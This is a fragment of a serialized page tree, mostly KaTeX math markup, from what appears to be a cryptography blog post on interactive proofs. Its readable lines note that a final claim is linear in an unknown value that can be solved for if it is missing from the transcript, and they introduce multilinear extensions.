"children":118080},{"className":118079,"style":3059},[3058],[],{"type":24,"tag":327,"props":118082,"children":118084},{"className":118083},[3064,3065,3066,3067],[118085],{"type":24,"tag":327,"props":118086,"children":118088},{"className":118087},[2977,2978,3067],[118089],{"type":29,"value":11334},{"type":24,"tag":327,"props":118091,"children":118093},{"className":118092},[3150],[118094],{"type":29,"value":3153},{"type":24,"tag":327,"props":118096,"children":118098},{"className":118097},[3043],[118099],{"type":24,"tag":327,"props":118100,"children":118102},{"className":118101,"style":99857},[3048],[118103],{"type":24,"tag":327,"props":118104,"children":118105},{},[],{"type":24,"tag":327,"props":118107,"children":118109},{"className":118108,"style":2993},[2992],[],{"type":24,"tag":327,"props":118111,"children":118113},{"className":118112},[2998],[118114],{"type":29,"value":384},{"type":24,"tag":327,"props":118116,"children":118118},{"className":118117,"style":2993},[2992],[],{"type":24,"tag":327,"props":118120,"children":118122},{"className":118121},[2966],[118123,118127,118132,118136,118141],{"type":24,"tag":327,"props":118124,"children":118126},{"className":118125,"style":116929},[2971],[],{"type":24,"tag":327,"props":118128,"children":118130},{"className":118129},[2977,2978],[118131],{"type":29,"value":57},{"type":24,"tag":327,"props":118133,"children":118135},{"className":118134,"style":3705},[2992],[],{"type":24,"tag":327,"props":118137,"children":118139},{"className":118138},[3710],[118140],{"type":29,"value":394},{"type":24,"tag":327,"props":118142,"children":118144},{"className":118143,"style":3705},[2992],[],{"type":24,"tag":327,"props":118146,"children":118148},{"className":118147},[2966],[118149,118153,118158,118229,118233,118238],{"type":24,"tag":327,"props":118150,"children":118152},{"className":118151,"style":3685},[2971],[],{"type":24,"tag":327,"props":118154,"children":118156},{"className":118155},[3121],[118157],{"type":29,"value":349},{"type":24,"tag":327,"props":118159,"children":118161},{"className":118160},[2977],[118162,118167],{"type":24,"tag":327,"props":118163,"children":118165},{"className":118164,"style":100008},[2977,2978],[118166],{"type":29,"value":100011},{"type":24,"tag":327,"props":118168,"children":118170},{"className":118169},[3032],[118171],{"type":24,"tag":327,"props":118172,"children":118174},{"className":118173},[3037,3038],[118175,118218],{"type":24,"tag":327,"props":118176,"children":118178},{"className":118177},[3043],[118179,118213],{"type":24,"tag":327,"props":118180,"children":118182},{"className":118181,"style":100303},[3048],[118183],{"type":24,"tag":327,"props":118184,"children":118185},{"style":117203},[118186,118190],{"type":24,"tag":327,"props":118187,"children":118189},{"className":118188,"style":3059},[3058],[],{"type":24,"tag":327,"props":118191,"children":118193},{"className":118192},[3064,3065,3066,3067],[118194],{"type":24,"tag":327,"props":118195,"children":118197},{"className":118196},[2977,3067],[118198,118203,118208],{"type":24,"tag":327,"props":118199,"children":118201},{"className":118200},[2977,2978,3067],[118202],{"type":29,"value":11334},{"type":24,"tag":327,"props":118204,"children":118206},{"className":118205},[3710,3067],[118207],{"type":29,"value":11647},{"type":24,"tag":327,"props":118209,"children":118211},{"className":118210},[2977,3067],[118212],{"type":29,"value":3238},{"type":24,"tag":327,"props":118214,"children":118216},{"className":118215},[3150],[118217],{"type":29,"value":3153},{"type":24,"tag":327,"props":118219,"children":118221},{"className":118220},[3043],[118222],{"type":24,"tag":327,"props":118223,"children":118225},{"className":118224,"style":117244},[3048],[118226],{"type":24,"tag":327,"props":118227,"children":118228},{},[],{"type":24,"tag":327,"props":118230,"children":118232},{"className":118231,"style":3705},[2992],[],{"type":24,"tag":327,"props":118234,"children":118236},{"className":118235},[3710],[118237],{"type":29,"value":11647},{"type":24,"tag":327,"props":118239,"children":118241},{"className":118240,"style":3705},[2992],[],{"type":24,"tag":327,"props":118243,"children":118245},{"className":118244},[2966],[118246,118250,118255,118260,118265,118269,118274],{"type":24,"tag":327,"props":118247,"children":118249},{"className":118248,"style":3685},[2971],[],{"type":24,"tag":327,"props":118251,"children":118253},{"className":118252},[2977],[118254],{"type":29,"value":10731},{"type":24,"tag":327,"props":118256,"children":118258},{"className":118257},[2977,2978],[118259],{"type":29,"value":57},{"type":24,"tag":327,"props":118261,"children":118263},{"className":118262},[3143],[118264],{"type":29,"value":3146},{"type":24,"tag":327,"props":118266,"children":118268},{"className":118267,"style":3705},[2992],[],{"type":24,"tag":327,"props":118270,"children":118272},{"className":118271},[3710],[118273],{"type":29,"value":118036},{"type":24,"tag":327,"props":118275,"children":118277},{"className":118276,"style":3705},[2992],[],{"type":24,"tag":327,"props":118279,"children":118281},{"className":118280},[2966],[118282,118286,118343,118347,118352],{"type":24,"tag":327,"props":118283,"children":118285},{"className":118284,"style":116744},[2971],[],{"type":24,"tag":327,"props":118287,"children":118289},{"className":118288},[2977],[118290,118295],{"type":24,"tag":327,"props":118291,"children":118293},{"className":118292,"style":99774},[2977,2978],[118294],{"type":29,"value":100593},{"type":24,"tag":327,"props":118296,"children":118298},{"className":118297},[3032],[118299],{"type":24,"tag":327,"props":118300,"children":118302},{"className":118301},[3037,3038],[118303,118332],{"type":24,"tag":327,"props":118304,"children":118306},{"className":118305},[3043],[118307,118327],{"type":24,"tag":327,"props":118308,"children":118310},{"className":118309,"style":100303},[3048],[118311],{"type":24,"tag":327,"props":118312,"children":118313},{"style":116773},[118314,118318],{"type":24,"tag":327,"props":118315,"children":118317},{"className":118316,"style":3059},[3058],[],{"type":24,"tag":327,"props":118319,"children":118321},{"className":118320},[3064,3065,3066,3067],[118322],{"type":24,"tag":327,"props":118323,"children":118325},{"className":118324},[2977,2978,3067],[118326],{"type":29,"value":11334},{"type":24,"tag":327,"props":118328,"children":118330},{"className":118329},[3150],[118331],{"type":29,"value":3153},{"type":24,"tag":327,"props":118333,"children":118335},{"className":118334},[3043],[118336],{"type":24,"tag":327,"props":118337,"children":118339},{"className":118338,"style":99857},[3048],[118340],{"type":24,"tag":327,"props":118341,"children":118342},{},[],{"type":24,"tag":327,"props":118344,"children":118346},{"className":118345,"style":2993},[2992],[],{"type":24,"tag":327,"props":118348,"children":118350},{"className":118349},[2998],[118351],{"type":29,"value":384},{"type":24,"tag":327,"props":118353,"children":118355},{"className":118354,"style":2993},[2992],[],{"type":24,"tag":327,"props":118357,"children":118359},{"className":118358},[2966],[118360,118364,118369,118374,118379,118383,118388],{"type":24,"tag":327,"props":118361,"children":118363},{"className":118362,"style":3685},[2971],[],{"type":24,"tag":327,"props":118365,"children":118367},{"className":118366},[2977,2978],[118368],{"type":29,"value":57},{"type":24,"tag":327,"props":118370,"children":118372},{"className":118371},[3121],[118373],{"type":29,"value":349},{"type":24,"tag":327,"props":118375,"children":118377},{"className":118376},[2977],[118378],{"type":29,"value":3238},{"type":24,"tag":327,"props":118380,"children":118382},{"className":118381,"style":3705},[2992],[],{"type":24,"tag":327,"props":118384,"children":118386},{"className":118385},[3710],[118387],{"type":29,"value":11647},{"type":24,"tag":327,"props":118389,"children":118391},{"className":118390,"style":3705},[2992],[],{"type":24,"tag":327,"props":118393,"children":118395},{"className":118394},[2966],[118396,118400,118405,118462,118467,118471,118476],{"type":24,"tag":327,"props":118397,"children":118399},{"className":118398,"style":3685},[2971],[],{"type":24,"tag":327,"props":118401,"children":118403},{"className":118402},[2977],[118404],{"type":29,"value":10731},{"type":24,"tag":327,"props":118406,"children":118408},{"className":118407},[2977],[118409,118414],{"type":24,"tag":327,"props":118410,"children":118412},{"className":118411,"style":99774},[2977,2978],[118413],{"type":29,"value":100593},{"type":24,"tag":327,"props":118415,"children":118417},{"className":118416},[3032],[118418],{"type":24,"tag":327,"props":118419,"children":118421},{"className":118420},[3037,3038],[118422,118451],{"type":24,"tag":327,"props":118423,"children":118425},{"className":118424},[3043],[118426,118446],{"type":24,"tag":327,"props":118427,"children":118429},{"className":118428,"style":100303},[3048],[118430],{"type":24,"tag":327,"props":118431,"children":118432},{"style":116773},[118433,118437],{"type":24,"tag":327,"props":118434,"children":118436},{"className":118435,"style":3059},[3058],[],{"type":24,"tag":327,"props":118438,"children":118440},{"className":118439},[3064,3065,3066,3067],[118441],{"type":24,"tag":327,"props":118442,"children":118444},{"className":118443},[2977,2978,3067],[118445],{"type":29,"value":11334},{"type":24,"tag":327,"props":118447,"children":118449},{"className":118448},[3150],[118450],{"type":29,"value":3153},{"type":24,"tag":327,"props":118452,"children":118454},{"className":118453},[3043],[118455],{"type":24,"tag":327,"props":118456,"children":118458},{"className":118457,"style":99857},[3048],[118459],{"type":24,"tag":327,"props":118460,"children":118461},{},[],{"type":24,"tag":327,"props":118463,"children":118465},{"className":118464},[3143],[118466],{"type":29,"value":3146},{"type":24,"tag":327,"props":118468,"children":118470},{"className":118469,"style":3705},[2992],[],{"type":24,"tag":327,"props":118472,"children":118474},{"className":118473},[3710],[118475],{"type":29,"value":394},{"type":24,"tag":327,"props":118477,"children":118479},{"className":118478,"style":3705},[2992],[],{"type":24,"tag":327,"props":118481,"children":118483},{"className":118482},[2966],[118484,118488,118559,118563,118568],{"type":24,"tag":327,"props":118485,"children":118487},{"className":118486,"style":117174},[2971],[],{"type":24,"tag":327,"props":118489,"children":118491},{"className":118490},[2977],[118492,118497],{"type":24,"tag":327,"props":118493,"children":118495},{"className":118494,"style":100008},[2977,2978],[118496],{"type":29,"value":100011},{"type":24,"tag":327,"props":118498,"children":118500},{"className":118499},[3032],[118501],{"type":24,"tag":327,"props":118502,"children":118504},{"className":118503},[3037,3038],[118505,118548],{"type":24,"tag":327,"props":118506,"children":118508},{"className":118507},[3043],[118509,118543],{"type":24,"tag":327,"props":118510,"children":118512},{"className":118511,"style":100303},[3048],[118513],{"type":24,"tag":327,"props":118514,"children":118515},{"style":117203},[118516,118520],{"type":24,"tag":327,"props":118517,"children":118519},{"className":118518,"style":3059},[3058],[],{"type":24,"tag":327,"props":118521,"children":118523},{"className":118522},[3064,3065,3066,3067],[118524],{"type":24,"tag":327,"props":118525,"children":118527},{"className":118526},[2977,3067],[118528,118533,118538],{"type":24,"tag":327,"props":118529,"children":118531},{"className":118530},[2977,2978,3067],[118532],{"type":29,"value":11334},{"type":24,"tag":327,"props":118534,"children":118536},{"className":118535},[3710,3067],[118537],{"type":29,"value":11647},{"type":24,"tag":327,"props":118539,"children":118541},{"className":118540},[2977,3067],[118542],{"type":29,"value":3238},{"type":24,"tag":327,"props":118544,"children":118546},{"className":118545},[3150],[118547],{"type":29,"value":3153},{"type":24,"tag":327,"props":118549,"children":118551},{"className":118550},[3043],[118552],{"type":24,"tag":327,"props":118553,"children":118555},{"className":118554,"style":117244},[3048],[118556],{"type":24,"tag":327,"props":118557,"children":118558},{},[],{"type":24,"tag":327,"props":118560,"children":118562},{"className":118561,"style":3705},[2992],[],{"type":24,"tag":327,"props":118564,"children":118566},{"className":118565},[3710],[118567],{"type":29,"value":118036},{"type":24,"tag":327,"props":118569,"children":118571},{"className":118570,"style":3705},[2992],[],{"type":24,"tag":327,"props":118573,"children":118575},{"className":118574},[2966],[118576,118580],{"type":24,"tag":327,"props":118577,"children":118579},{"className":118578,"style":116744},[2971],[],{"type":24,"tag":327,"props":118581,"children":118583},{"className":118582},[2977],[118584,118589],{"type":24,"tag":327,"props":118585,"children":118587},{"className":118586,"style":99774},[2977,2978],[118588],{"type":29,"value":100593},{"type":24,"tag":327,"props":118590,"children":118592},{"className":118591},[3032],[118593],{"type":24,"tag":327,"props":118594,"children":118596},{"className":118595},[3037,3038],[118597,118626],{"type":24,"tag":327,"props":118598,"children":118600},{"className":118599},[3043],[118601,118621],{"type":24,"tag":327,"props":118602,"children":118604},{"className":118603,"style":100303},[3048],[118605],{"type":24,"tag":327,"props":118606,"children":118607},{"style":116773},[118608,118612],{"type":24,"tag":327,"props":118609,"children":118611},{"className":118610,"style":3059},[3058],[],{"type":24,"tag":327,"props":118613,"children":118615},{"className":118614},[3064,3065,3066,3067],[118616],{"type":24,"tag":327,"props":118617,"children":118619},{"className":118618},[2977,2978,3067],[118620],{"type":29,"value":11334},{"type":24,"tag":327,"props":118622,"children":118624},{"className":118623},[3150],[118625],{"type":29,"value":3153},{"type":24,"tag":327,"props":118627,"children":118629},{"className":118628},[3043],[118630],{"type":24,"tag":327,"props":118631,"children":118633},{"className":118632,"style":99857},[3048],[118634],{"type":24,"tag":327,"props":118635,"children":118636},{},[],{"type":24,"tag":25,"props":118638,"children":118639},{},[118640,118641,118737,118739,118764,118766,118791],{"type":29,"value":52855},{"type":24,"tag":188,"props":118642,"children":118643},{},[118644,118646],{"type":29,"value":118645},"linear in ",{"type":24,"tag":284,"props":118647,"children":118649},{"className":118648},[2949,2950],[118650],{"type":24,"tag":327,"props":118651,"children":118653},{"className":118652},[2955],[118654],{"type":24,"tag":327,"props":118655,"children":118657},{"className":118656,"ariaHidden":2961},[2960],[118658],{"type":24,"tag":327,"props":118659,"children":118661},{"className":118660},[2966],[118662,118666],{"type":24,"tag":327,"props":118663,"children":118665},{"className":118664,"style":117174},[2971],[],{"type":24,"tag":327,"props":118667,"children":118669},{"className":118668},[2977],[118670,118675],{"type":24,"tag":327,"props":118671,"children":118673},{"className":118672,"style":100008},[2977,2978],[118674],{"type":29,"value":100011},{"type":24,"tag":327,"props":118676,"children":118678},{"className":118677},[3032],[118679],{"type":24,"tag":327,"props":118680,"children":118682},{"className":118681},[3037,3038],[118683,118726],{"type":24,"tag":327,"props":118684,"children":118686},{"className":118685},[3043],[118687,118721],{"type":24,"tag":327,"props":118688,"children":118690},{"className":118689,"style":100303},[3048],[118691],{"type":24,"tag":327,"props":118692,"children":118693},{"style":117203},[118694,118698],{"type":24,"tag":327,"props":118695,"children":118697},{"className":118696,"style":3059},[3058],[],{"type":24,"tag":327,"props":118699,"children":118701},{"className":118700},[3064,3065,3066,3067],[118702],{"type":24,"tag":327,"props":118703,"children":118705},{"className":118704},[2977,3067],[118706,118711,118716],{"type":24,"tag":327,"props":118707,"children":118709},{"className":118708},[2977,2978,3067],[118710],{"type":29,"value":11334},{"type":24,"tag":327,"props":118712,"children":118714},{"className":118713},[3710,3067],[118715],{"type":29,"value":11647},{"type":24,"tag":327,"props":118717,"children":118719},{"className":118718},[2977,3067],[118720],{"type":29,"value":3238},{"type":24,"tag":327,"props":118722,"children":118724},{"className":118723},[3150],[118725],{"type":29,"value":3153},{"type":24,"tag":327,"props":118727,"children":118729},{"className":118728},[3043],[118730],{"type":24,"tag":327,"props":118731,"children":118733},{"className":118732,"style":117244},[3048],[118734],{"type":24,"tag":327,"props":118735,"children":118736},{},[],{"type":29,"value":118738},"! By induction, the final claim is linear in the original ",{"type":24,"tag":284,"props":118740,"children":118742},{"className":118741},[2949,2950],[118743],{"type":24,"tag":327,"props":118744,"children":118746},{"className":118745},[2955],[118747],{"type":24,"tag":327,"props":118748,"children":118750},{"className":118749,"ariaHidden":2961},[2960],[118751],{"type":24,"tag":327,"props":118752,"children":118754},{"className":118753},[2966],[118755,118759],{"type":24,"tag":327,"props":118756,"children":118758},{"className":118757,"style":2972},[2971],[],{"type":24,"tag":327,"props":118760,"children":118762},{"className":118761,"style":100008},[2977,2978],[118763],{"type":29,"value":100011},{"type":29,"value":118765},". If ",{"type":24,"tag":284,"props":118767,"children":118769},{"className":118768},[2949,2950],[118770],{"type":24,"tag":327,"props":118771,"children":118773},{"className":118772},[2955],[118774],{"type":24,"tag":327,"props":118775,"children":118777},{"className":118776,"ariaHidden":2961},[2960],[118778],{"type":24,"tag":327,"props":118779,"children":118781},{"className":118780},[2966],[118782,118786],{"type":24,"tag":327,"props":118783,"children":118785},{"className":118784,"style":2972},[2971],[],{"type":24,"tag":327,"props":118787,"children":118789},{"className":118788,"style":100008},[2977,2978],[118790],{"type":29,"value":100011},{"type":29,"value":118792}," isn't in the transcript, we can solve for it.",{"type":24,"tag":235,"props":118794,"children":118796},{"id":118795},"multilinear-extensions-mles",[118797],{"type":29,"value":118798},"Multilinear Extensions (MLEs)",{"type":24,"tag":25,"props":118800,"children":118801},{},[118802,118804,118889],{"type":29,"value":118803},"An MLE is just the polynomial view of a table over ",{"type":24,"tag":284,"props":118805,"children":118807},{"className":118806},[2949,2950],[118808],{"type":24,"tag":327,"props":118809,"children":118811},{"className":118810},[2955],[118812],{"type":24,"tag":327,"props":118813,"children":118815},{"className":118814,"ariaHidden":2961},[2960],[118816],{"type":24,"tag":327,"props":118817,"children":118819},{"className":118818},[2966],[118820,118824,118829,118834,118839,118843,118848],{"type":24,"tag":327,"props":118821,"children":118823},{"className":118822,"style":3685},[2971],[],{"type":24,"tag":327,"props":118825,"children":118827},{"className":118826},[3121],[118828],{"type":29,"value":83345},{"type":24,"tag":327,"props":118830,"children":118832},{"className":118831},[2977],[118833],{"type":29,"value":2988},{"type":24,"tag":327,"props":118835,"children":118837},{"className":118836},[11695],[118838],{"type":29,"value":11698},{"type":24,"tag":327,"props":118840,"children":118842},{"className":118841,"style":3169},[2992],[],{"type":24,"tag":327,"props":118844,"children":118846},{"className":118845},[2977],[118847],{"type":29,"value":3238},{"type":24,"tag":327,"props":118849,"children":118851},{"className":118850},[3143],[118852,118857],{"type":24,"tag":327,"props":118853,"children":118855},{"className":118854},[3143],[118856],{"type":29,"value":40852},{"type":24,"tag":327,"props":118858,"children":118860},{"className":118859},[3032],[118861],{"type":24,"tag":327,"props":118862,"children":118864},{"className":118863},[3037],[118865],{"type":24,"tag":327,"props":118866,"children":118868},{"className":118867},[3043],[118869],{"type":24,"tag":327,"props":118870,"children":118872},{"className":118871,"style":115491},[3048],[118873],{"type":24,"tag":327,"props":118874,"children":118875},{"style":11628},[118876,118880],{"type":24,"tag":327,"props":118877,"children":118879},{"className":118878,"style":3059},[3058],[],{"type":24,"tag":327,"props":118881,"children":118883},{"className":118882},[3064,3065,3066,3067],[118884],{"type":24,"tag":327,"props":118885,"children":118887},{"className":118886},[2977,2978,3067],[118888],{"type":29,"value":63125},{"type":29,"value":118890},": it matches the table on Boolean points and extends it to field points.",{"type":24,"tag":25,"props":118892,"children":118893},{},[118894],{"type":29,"value":118895},"For this post, the only property you need is:",{"type":24,"tag":25,"props":118897,"children":118898},{},[118899],{"type":24,"tag":284,"props":118900,"children":118902},{"className":118901},[2949,2950],[118903],{"type":24,"tag":327,"props":118904,"children":118906},{"className":118905},[2955],[118907],{"type":24,"tag":327,"props":118908,"children":118910},{"className":118909,"ariaHidden":2961},[2960],[118911,119073,119345],{"type":24,"tag":327,"props":118912,"children":118914},{"className":118913},[2966],[118915,118920,118989,118994,119055,119060,119064,119069],{"type":24,"tag":327,"props":118916,"children":118919},{"className":118917,"style":118918},[2971],"height:1.1813em;vertical-align:-0.25em;",[],{"type":24,"tag":327,"props":118921,"children":118924},{"className":118922},[2977,118923],"accent",[118925],{"type":24,"tag":327,"props":118926,"children":118928},{"className":118927},[3037,3038],[118929,118977],{"type":24,"tag":327,"props":118930,"children":118932},{"className":118931},[3043],[118933,118972],{"type":24,"tag":327,"props":118934,"children":118937},{"className":118935,"style":118936},[3048],"height:0.9313em;",[118938,118952],{"type":24,"tag":327,"props":118939,"children":118941},{"style":118940},"top:-3em;",[118942,118947],{"type":24,"tag":327,"props":118943,"children":118946},{"className":118944,"style":118945},[3058],"height:3em;",[],{"type":24,"tag":327,"props":118948,"children":118950},{"className":118949,"style":102128},[2977,2978],[118951],{"type":29,"value":39796},{"type":24,"tag":327,"props":118953,"children":118955},{"style":118954},"top:-3.6134em;",[118956,118960],{"type":24,"tag":327,"props":118957,"children":118959},{"className":118958,"style":118945},[3058],[],{"type":24,"tag":327,"props":118961,"children":118965},{"className":118962,"style":118964},[118963],"accent-body","left:-0.0833em;",[118966],{"type":24,"tag":327,"props":118967,"children":118969},{"className":118968},[2977],[118970],{"type":29,"value":118971},"~",{"type":24,"tag":327,"props":118973,"children":118975},{"className":118974},[3150],[118976],{"type":29,"value":3153},{"type":24,"tag":327,"props":118978,"children":118980},{"className":118979},[3043],[118981],{"type":24,"tag":327,"props":118982,"children":118985},{"className":118983,"style":118984},[3048],"height:0.1944em;",[118986],{"type":24,"tag":327,"props":118987,"children":118988},{},[],{"type":24,"tag":327,"props":118990,"children":118992},{"className":118991},[3121],[118993],{"type":29,"value":349},{"type":24,"tag":327,"props":118995,"children":118997},{"className":118996},[2977,118923],[118998],{"type":24,"tag":327,"props":118999,"children":119001},{"className":119000},[3037],[119002],{"type":24,"tag":327,"props":119003,"children":119005},{"className":119004},[3043],[119006],{"type":24,"tag":327,"props":119007,"children":119010},{"className":119008,"style":119009},[3048],"height:0.714em;",[119011,119023],{"type":24,"tag":327,"props":119012,"children":119013},{"style":118940},[119014,119018],{"type":24,"tag":327,"props":119015,"children":119017},{"className":119016,"style":118945},[3058],[],{"type":24,"tag":327,"props":119019,"children":119021},{"className":119020,"style":99774},[2977,2978],[119022],{"type":29,"value":100593},{"type":24,"tag":327,"props":119024,"children":119025},{"style":118940},[119026,119030],{"type":24,"tag":327,"props":119027,"children":119029},{"className":119028,"style":118945},[3058],[],{"type":24,"tag":327,"props":119031,"children":119034},{"className":119032,"style":119033},[118963],"left:-0.1799em;",[119035],{"type":24,"tag":327,"props":119036,"children":119040},{"className":119037,"style":119039},[119038],"overlay","height:0.714em;width:0.471em;",[119041],{"type":24,"tag":40985,"props":119042,"children":119049},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[119050],{"type":24,"tag":119051,"props":119052,"children":119054},"path",{"d":119053},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":24,"tag":327,"props":119056,"children":119058},{"className":119057},[3143],[119059],{"type":29,"value":3146},{"type":24,"tag":327,"props":119061,"children":119063},{"className":119062,"style":2993},[2992],[],{"type":24,"tag":327,"props":119065,"children":119067},{"className":119066},[2998],[119068],{"type":29,"value":384},{"type":24,"tag":327,"props":119070,"children":119072},{"className":119071,"style":2993},[2992],[],{"type":24,"tag":327,"props":119074,"children":119076},{"className":119075},[2966],[119077,119082,119263,119267,119272,119277,119327,119332,119336,119341],{"type":24,"tag":327,"props":119078,"children":119081},{"className":119079,"style":119080},[2971],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":24,"tag":327,"props":119083,"children":119085},{"className":119084},[3018],[119086,119091],{"type":24,"tag":327,"props":119087,"children":119089},{"className":119088,"style":3025},[3018,3023,3024],[119090],{"type":29,"value":115569},{"type":24,"tag":327,"props":119092,"children":119094},{"className":119093},[3032],[119095],{"type":24,"tag":327,"props":119096,"children":119098},{"className":119097},[3037,3038],[119099,119251],{"type":24,"tag":327,"props":119100,"children":119102},{"className":119101},[3043],[119103,119246],{"type":24,"tag":327,"props":119104,"children":119107},{"className":119105,"style":119106},[3048],"height:0.3448em;",[119108],{"type":24,"tag":327,"props":119109,"children":119111},{"style":119110},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[119112,119116],{"type":24,"tag":327,"props":119113,"children":119115},{"className":119114,"style":3059},[3058],[],{"type":24,"tag":327,"props":119117,"children":119119},{"className":119118},[3064,3065,3066,3067],[119120],{"type":24,"tag":327,"props":119121,"children":119123},{"className":119122},[2977,3067],[119124,119178,119183,119188,119193,119198,119203],{"type":24,"tag":327,"props":119125,"children":119127},{"className":119126},[2977,118923,3067],[119128],{"type":24,"tag":327,"props":119129,"children":119131},{"className":119130},[3037],[119132],{"type":24,"tag":327,"props":119133,"children":119135},{"className":119134},[3043],[119136],{"type":24,"tag":327,"props":119137,"children":119140},{"className":119138,"style":119139},[3048],"height:0.9774em;",[119141,119155],{"type":24,"tag":327,"props":119142,"children":119144},{"style":119143},"top:-2.714em;",[119145,119150],{"type":24,"tag":327,"props":119146,"children":119149},{"className":119147,"style":119148},[3058],"height:2.714em;",[],{"type":24,"tag":327,"props":119151,"children":119153},{"className":119152},[2977,2978,3067],[119154],{"type":29,"value":10828},{"type":24,"tag":327,"props":119156,"children":119158},{"style":119157},"top:-2.9774em;",[119159,119163],{"type":24,"tag":327,"props":119160,"children":119162},{"className":119161,"style":119148},[3058],[],{"type":24,"tag":327,"props":119164,"children":119167},{"className":119165,"style":119166},[118963],"left:-0.2355em;",[119168],{"type":24,"tag":327,"props":119169,"children":119171},{"className":119170,"style":119039},[119038,3067],[119172],{"type":24,"tag":40985,"props":119173,"children":119174},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[119175],{"type":24,"tag":119051,"props":119176,"children":119177},{"d":119053},[],{"type":24,"tag":327,"props":119179,"children":119181},{"className":119180},[2998,3067],[119182],{"type":29,"value":3099},{"type":24,"tag":327,"props":119184,"children":119186},{"className":119185},[3121,3067],[119187],{"type":29,"value":83345},{"type":24,"tag":327,"props":119189,"children":119191},{"className":119190},[2977,3067],[119192],{"type":29,"value":2988},{"type":24,"tag":327,"props":119194,"children":119196},{"className":119195},[11695,3067],[119197],{"type":29,"value":11698},{"type":24,"tag":327,"props":119199,"children":119201},{"className":119200},[2977,3067],[119202],{"type":29,"value":3238},{"type":24,"tag":327,"props":119204,"children":119206},{"className":119205},[3143,3067],[119207,119212],{"type":24,"tag":327,"props":119208,"children":119210},{"className":119209},[3143,3067],[119211],{"type":29,"value":40852},{"type":24,"tag":327,"props":119213,"children":119215},{"className":119214},[3032],[119216],{"type":24,"tag":327,"props":119217,"children":119219},{"className":119218},[3037],[119220],{"type":24,"tag":327,"props":119221,"children":119223},{"className":119222},[3043],[119224],{"type":24,"tag":327,"props":119225,"children":119228},{"className":119226,"style":119227},[3048],"height:0.5935em;",[119229],{"type":24,"tag":327,"props":119230,"children":119232},{"style":119231},"top:-2.786em;margin-right:0.0714em;",[119233,119237],{"type":24,"tag":327,"props":119234,"children":119236},{"className":119235,"style":115634},[3058],[],{"type":24,"tag":327,"props":119238,"children":119240},{"className":119239},[3064,115639,115640,3067],[119241],{"type":24,"tag":327,"props":119242,"children":119244},{"className":119243},[2977,2978,3067],[119245],{"type":29,"value":63125},{"type":24,"tag":327,"props":119247,"children":119249},{"className":119248},[3150],[119250],{"type":29,"value":3153},{"type":24,"tag":327,"props":119252,"children":119254},{"className":119253},[3043],[119255],{"type":24,"tag":327,"props":119256,"children":119259},{"className":119257,"style":119258},[3048],"height:0.5144em;",[119260],{"type":24,"tag":327,"props":119261,"children":119262},{},[],{"type":24,"tag":327,"props":119264,"children":119266},{"className":119265,"style":3169},[2992],[],{"type":24,"tag":327,"props":119268,"children":119270},{"className":119269,"style":102128},[2977,2978],[119271],{"type":29,"value":39796},{"type":24,"tag":327,"props":119273,"children":119275},{"className":119274},[3121],[119276],{"type":29,"value":349},{"type":24,"tag":327,"props":119278,"children":119280},{"className":119279},[2977,118923],[119281],{"type":24,"tag":327,"props":119282,"children":119284},{"className":119283},[3037],[119285],{"type":24,"tag":327,"props":119286,"children":119288},{"className":119287},[3043],[119289],{"type":24,"tag":327,"props":119290,"children":119292},{"className":119291,"style":119139},[3048],[119293,119305],{"type":24,"tag":327,"props":119294,"children":119295},{"style":118940},[119296,119300],{"type":24,"tag":327,"props":119297,"children":119299},{"className":119298,"style":118945},[3058],[],{"type":24,"tag":327,"props":119301,"children":119303},{"className":119302},[2977,2978],[119304],{"type":29,"value":10828},{"type":24,"tag":327,"props":119306,"children":119308},{"style":119307},"top:-3.2634em;",[119309,119313],{"type":24,"tag":327,"props":119310,"children":119312},{"className":119311,"style":118945},[3058],[],{"type":24,"tag":327,"props":119314,"children":119316},{"className":119315,"style":119166},[118963],[119317],{"type":24,"tag":327,"props":119318,"children":119320},{"className":119319,"style":119039},[119038],[119321],{"type":24,"tag":40985,"props":119322,"children":119323},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[119324],{"type":24,"tag":119051,"props":119325,"children":119326},{"d":119053},[],{"type":24,"tag":327,"props":119328,"children":119330},{"className":119329},[3143],[119331],{"type":29,"value":3146},{"type":24,"tag":327,"props":119333,"children":119335},{"className":119334,"style":3705},[2992],[],{"type":24,"tag":327,"props":119337,"children":119339},{"className":119338},[3710],[119340],{"type":29,"value":118036},{"type":24,"tag":327,"props":119342,"children":119344},{"className":119343,"style":3705},[2992],[],{"type":24,"tag":327,"props":119346,"children":119348},{"className":119347},[2966],[119349,119354,119364,119369,119418,119423,119427,119476],{"type":24,"tag":327,"props":119350,"children":119353},{"className":119351,"style":119352},[2971],"height:1.2274em;vertical-align:-0.25em;",[],{"type":24,"tag":327,"props":119355,"children":119357},{"className":119356},[2977,29],[119358],{"type":24,"tag":327,"props":119359,"children":119361},{"className":119360},[2977],[119362],{"type":29,"value":119363},"eq",{"type":24,"tag":327,"props":119365,"children":119367},{"className":119366},[3121],[119368],{"type":29,"value":349},{"type":24,"tag":327,"props":119370,"children":119372},{"className":119371},[2977,118923],[119373],{"type":24,"tag":327,"props":119374,"children":119376},{"className":119375},[3037],[119377],{"type":24,"tag":327,"props":119378,"children":119380},{"className":119379},[3043],[119381],{"type":24,"tag":327,"props":119382,"children":119384},{"className":119383,"style":119139},[3048],[119385,119397],{"type":24,"tag":327,"props":119386,"children":119387},{"style":118940},[119388,119392],{"type":24,"tag":327,"props":119389,"children":119391},{"className":119390,"style":118945},[3058],[],{"type":24,"tag":327,"props":119393,"children":119395},{"className":119394},[2977,2978],[119396],{"type":29,"value":10828},{"type":24,"tag":327,"props":119398,"children":119399},{"style":119307},[119400